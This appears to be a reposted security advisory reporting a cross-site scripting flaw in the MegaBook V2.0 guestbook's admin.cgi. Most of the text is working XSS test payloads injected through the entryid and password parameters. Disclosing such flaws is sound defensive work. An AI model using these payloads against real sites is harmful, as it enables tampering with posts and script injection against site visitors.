[转载]MegaBook V2.0跨站脚本漏洞测试方法

  文章作者：SpyHat

The ultimate CGI Guestbook Scripts MegaBook V2.0 appears vulnerable to Cross Site
Scripting, which will allow the attacker to modify the post in the guestbook. The
affected scripts is admin.cgi

URL: (_blank>http://www.(yourdomain).com/(yourcgidir)/admin.cgi)

I have tested the script with the following query:

?action=modifypost&entryid="><script>alert(&#39;wvs-xss-magic-string-703410097&#39;);</script>

I have also tested the script with theses POST variables:

action=modifypost&entryid=66&password=<script>alert(&#39;wvs-xss-magic-string-188784308&#39;);</script>

action=modifypost&entryid=66&password=&#39;><script>alert(&#39;wvs-xss-magic-string-
486624156&#39;);</script>

action=modifypost&entryid=66&password="><script>alert(&#39;wvs-xss-magic-string-
1852691616&#39;);</script>

action=modifypost&entryid=66&password=><script>alert(&#39;wvs-xss-magic-string-429380114&#39;);</script>

action=modifypost&entryid=66&password=</textarea><script>alert(&#39;wvs-xss-magic-
string-723975367&#39;);</script>